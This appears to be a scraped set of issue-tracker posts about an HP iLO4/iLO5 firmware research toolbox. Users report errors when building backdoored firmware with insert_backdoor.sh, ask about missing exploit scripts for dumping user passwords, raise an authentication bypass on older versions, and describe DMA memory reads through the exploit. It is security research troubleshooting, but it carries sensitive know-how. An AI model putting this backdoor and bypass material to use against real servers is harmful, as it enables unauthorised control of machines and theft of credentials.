My setup is iLO4 version 2.50 with an ubuntu linux Host OS.
insert_backdoor.sh correctly creates the backdoored firmware "ilo4_250.bin.backdoored.toflash"
The script finishes and says "Firmware ready to be flashed" however when attempting to flash the firmware using the iLO Web Gui it fails to flash the firmware.

I noticed in your demo gif when the insert_backdoor.sh script finishes it references a script "exploit_write_flash_page.py". I can't seem to find this script in the code you provide and my version of insert_backdoor.sh simply says "Firmware ready to be flashed" when it completes.

What is the correct method of flashing the backdoored firmware?

Thanks again for your help and for your awesome contribution to the community. Really great work.

Offsets in libc.so

I'd like to extend the functionality. How did you come up with the offsets in hp_ilo_4_250.h for libc.so?
/* libc.so */ static void *(*malloc)(size_t size) = (const void *)0x017B85E8;

etc...

@fishilico

exploit_get_users.py missing ?

Hi,

In demo 2 you use a script exploit_get_users.py which dumps users with passwords from ILO.
I can't find this script in the repo, where is it ?

I want to use it on my DL380e Gen8 which had a dead NAND issue, so I got another motherboard but without the tag with the default ILO password. I want to use this exploit so I can know what is the default password.

Any other way to know what is the default ILO password for my server is welcome.

exploit_check_flash.py does not work with firmware versions other than 2.50

Bonjour!

ilo4_toolbox/scripts/iLO4/exploits/exploit_check_flash.py does not work with firmware versions other than 2.50 because ilo4_toolbox/scripts/iLO4/exploits/exploit_offsets.py is missing their respective 'VComClientSync_Call' definitions.
I did try to simply copy 2.50's definition of 'VComClientSync_Call' for version 1.53 without success.

Cheers!

RSA key format is not supported

Hello,

I have this value error when i'm launching :
python ilo5_fw_decrypt.py --infile ilo5_235.bin

Traceback (most recent call last): File "/home/kali/Desktop/ILO_TOOLBOX/ilo4_toolbox/scripts/iLO5/ilo5_fw_decrypt.py", line 82, in <module> rsa_pkey = load_private_key() File "/home/kali/Desktop/ILO_TOOLBOX/ilo4_toolbox/scripts/iLO5/ilo5_fw_decrypt.py", line 50, in load_private_key pkey = RSA.import_key(key_buffer, passphrase=pem_password_cb()) File "/usr/local/lib/python3.10/dist-packages/Crypto/PublicKey/RSA.py", line 736, in import_key return _import_keyDER(der, passphrase) File "/usr/local/lib/python3.10/dist-packages/Crypto/PublicKey/RSA.py", line 679, in _import_keyDER raise ValueError("RSA key format is not supported") ValueError: RSA key format is not supported

I have pycryptodome 3.6.5. I use the same rsa_private_key_ilo5.asc file. I don't know why this error appears ?

thanks for your help,
Best regards

Methods to recover broken firmware

After a number of custom firmware flashes, I now have an unresponsive iLO. Web does not work, SSH does not work, iLO is not visible during boot, and HP's Linux-based flasher also does not work.

Is there another way (short of a SPI programmer) to recover from a bad update? A backup ROM, perhaps?

Error in patch_webserver_250.py when insert backdoor!

[+] Patch applied to outdir/bootloader.bin.patched
[+] Patch applied to outdir/kernel_main.bin.patched
Traceback (most recent call last):
File "./patch_webserver_250.py", line 29, in
handler_code = asm_sc(f.read())
File "./patch_webserver_250.py", line 11, in asm_sc
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
NameError: global name 'Ks' is not defined
Traceback (most recent call last):
File "./ilo4_repack.py", line 18, in
with open(sys.argv[3], "rb") as f:
IOError: [Errno 2] No such file or directory: 'outdir/elf.bin.patched'
[+] Firmware ready to be flashed

iLO 4 < 2.00 lacks of rest api

Has anyone found a replacement for /rest/v1/AccountService/Accounts to use the Authentication Bypass Exploit on older iLO4 Versions (<2.00)?

MAC tag is not valid

Hi,

when decrypting firmware above ilo5 2.78, it gives an error:
[x] decrypt_and_verify failed? MAC tag is not valid,

Error in inserting backdoor in HPE ILO V 2.40

Error when trying

 ./insert_backdoor.sh ilo4_240.bin 

I have downloaded the firmware from here

   [-] Error, bad file content at offset 1410
   Traceback (most recent call last):
   File "./ilo4_repack.py", line 18, in <module>
   with open(sys.argv[3], "rb") as f:
   IOError: [Errno 2] No such file or directory: 'outdir/elf.bin.patched'

dissection.rb fails on ilo5_135.bin

The dissection.rb script does not work on ilo5_135.bin. At that time it is unclear if it is a quirk of this version or a problem with the script itself. From the output below it looks like it is not able to locate the first module name and also the type, offset and size fields seem wrong:

ilo4_toolbox/scripts/iLO5$ ruby dissection.rb ilo5_135.bin_outdir/elf_main.bin
ruby: warning: shebang line ending with \r may cause problems
> extract from ilo5_135.bin_outdir/elf_main.bin
--
  >                              - type 1946157056 - offset 0x00000000 - size 0x00000000 bytes
Traceback (most recent call last):
	4: from dissection.rb:346:in `<main>'
	3: from dissection.rb:324:in `extract_mods'
	2: from dissection.rb:324:in `each'
	1: from dissection.rb:335:in `block in extract_mods'
dissection.rb:335:in `join': no implicit conversion of nil into String (TypeError)

A working case with another firmware version e.g. on ilo5_130.bin is:

ilo4_toolbox/scripts/iLO5$ ruby dissection.rb ilo5_130.bin_outdir/elf_main.bin
ruby: warning: shebang line ending with \r may cause problems
> extract from ilo5_130.bin_outdir/elf_main.bin
--
  >               .dvrspi.elf.RO - type PROGBITS - offset 0x00007574 - size 0x00003f58 bytes
  >               .dvrspi.elf.RW - type PROGBITS - offset 0x0000b4cc - size 0x00000694 bytes
  >          .libINTEGRITY.so.RO - type PROGBITS - offset 0x0000bb60 - size 0x000048c0 bytes
  >          .libINTEGRITY.so.RW - type PROGBITS - offset 0x00010420 - size 0x00000018 bytes
  >                  .libc.so.RW - type PROGBITS - offset 0x00010438 - size 0x000009c0 bytes
  >        .VComCShared_RM.so.RW - type PROGBITS - offset 0x00010df8 - size 0x00000070 bytes
  >              .dvrgpio.elf.RW - type PROGBITS - offset 0x00010e68 - size 0x0000109c bytes
  >                  .libc.so.RO - type PROGBITS - offset 0x00011f04 - size 0x00035ff8 bytes
  >        .VComCShared_RM.so.RO - type PROGBITS - offset 0x00047efc - size 0x00008a90 bytes
  >              .dvrgpio.elf.RO - type PROGBITS - offset 0x0005098c - size 0x00008738 bytes
...

iloscan error

Hello!
I got an error, when run compiled iloscan (with edited targets: one IP range).
Error message:
panic: runtime error: index out of range
goroutine 1 [running]:
main.main()
../iloscan.go:157 +0x2e5

So line 157 is "targets := []string{os.Args[1]}"

What it could be?

ILO crashed when 3G to 4G memory holes are read

Hi,
I try to traverse the physical memory through DMA. When I read an address above 3G (possibly an MMIO address), iLO will crash and restart.
Reading addresses that exceed the upper limit of physical memory can cause the same problem.
It can be determined that the CopyFromMemoryRegion function caused the crash after writing the address to the register.
iLO version is iLO4 - 250, hardware is HP Microserver Gen 8, and I tried both the web & ssh exploit.

My question is:

  1. Is there a method to determine the unreadable address in the physical address space through iLO (MMIO, vt-D protection, exceeding the upper limit of memory, etc.)
  2. If an unreadable address is written to the register, can I check a flag bit or something before calling CopyFromMemoryRegion to prevent iLO from crashing.

I tried to reverse the CHIF task, but couldn't find the answer.

Fan Speed Mod

Is it possible to make a fan speed mod for the ILO? In the elf.bin there is a Thermal.json file that I think could be modified to allow the temperature thresholds to be modified.

how to recover symbols

Hi, how do you recover the standard library function symbols table or all other symbols?
image
IDA can't recognize symbols such as strcmp printf...
Thanks.

insert_backdoor.sh did not work properly

hi,
insert_backdoor.sh did not work properly so I patched bootloader and kernel manually with hex editor,
then I changed patch_webserver.py like this:
commenting capestone related code in program because it generated errors.

def disasm_sc(sc):
    cs = Cs(CS_ARCH_ARM, CS_MODE_ARM)
    for i in cs.disasm(sc, 0):
	   print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

after that I manually applied some changes to elf.bin from "outdir folder" like change value from offset 0x188B18 to "D43C1A00"
with hex editor.
but when I wanted to upload ilo4_250.bin(ilo4_250.bin.backdoored.toflash) from iLO web interface it contained some errors so firmware update process could not complete successfully.

Add support for iLO moonshot

It looks like iLO_Chassis_Management_Firmware_158.bin from https://support.hpe.com/hpsc/swd/public/detail?sp4ts.oid=5378292&swItemId=MTX_acee361e49bb406e9174f471c7&swEnvOid=4184#tab1 is close to iLO5 but ilo5_extract.py fails to extract it.

$ python2.7 ilo5_extract.py ~/Desktop/iLO_Chassis_Management_Firmware_158.bin ~/Desktop/iLO_Chassis_Management_Firmware_158
[+] Extracting certificate 0
[+] Extracting certificate 1
[+] Extracting certificate 2
[+] iLO HPIMAGE header :
  > img_magic          : HPIMAGE
  > version major      : 0x1
  > version minor      : 0x1
  > field_A            : 0x00
  > device id          : ILO
0000  9d 7b 31 2f e3 c9 76 4d bf f6 b9 d0 d0 85 a9 52   .{1/..vM.......R

  > field_1C            : 0x1
  > field_20            : 0x0
  > field_24            : 0x0
  > field_28            : 0x0
  > field_2C            : 0x0
  > field_30            : 0x0
  > field_34            : 0x0
  > field_38            : 0x0
  > field_3C            : 0x10607e2
  > version             : 1.58
  > name                : iLO Chassis Manager
  > gap



[+] iLO boot block footer:
  > module                  : ��������������������������������
  > fw_magic                : 0xffffffff
  > header_type             : 0xffffffff
  > field_28                : 0x-1
  > type                    : 0x-1
  > flags                   : 0xffffffff
  > field_30                : 0xffffffff
  > field_34                : 0xffffffff
  > field_38                : 0xffffffff
  > backward_crc_offset     : 0xffffffff
  > forward_crc_offset      : 0xffffffff
  > img_crc                 : 0xffffffff
  > compressed_size         : 0xffffffff
  > decompressed_size       : 0xffffffff
  > field_50                : 0xffffffff
  > field_54                : 0xffffffff
  > crypto_params_index     : 0xffff
  > crypto_params_index 2   : 0xffff
  > header_crc              : 0xffffffff
  > field_60                : 0xffffffff
  > field_64                : 0xffffffff
  > field_68                : 0xffffffff
  > field_6C                : 0xffffffff
  > field_70                : 0xffffffff
  > field_74                : 0xffffffff
  > field_78                : 0xffffffff
  > field_7C                : 0xffffffff
  > copyright               : ��������������������������������������������������������������������������������������������������������������������������������
  > signature
0000  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0010  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0020  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0030  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0040  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0050  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0060  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0070  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0080  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0090  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
00a0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
00b0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
00c0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
00d0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
00e0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
00f0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0100  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0110  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0120  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0130  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0140  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0150  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0160  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0170  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0180  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
0190  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
01a0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
01b0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
01c0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
01d0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
01e0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................
01f0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff   ................

  > fw_magic_end       : 0x354f4c69

[+] header crc ok: 0xe2b03c14
[x] failed to check header crc: 0xffffffff

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.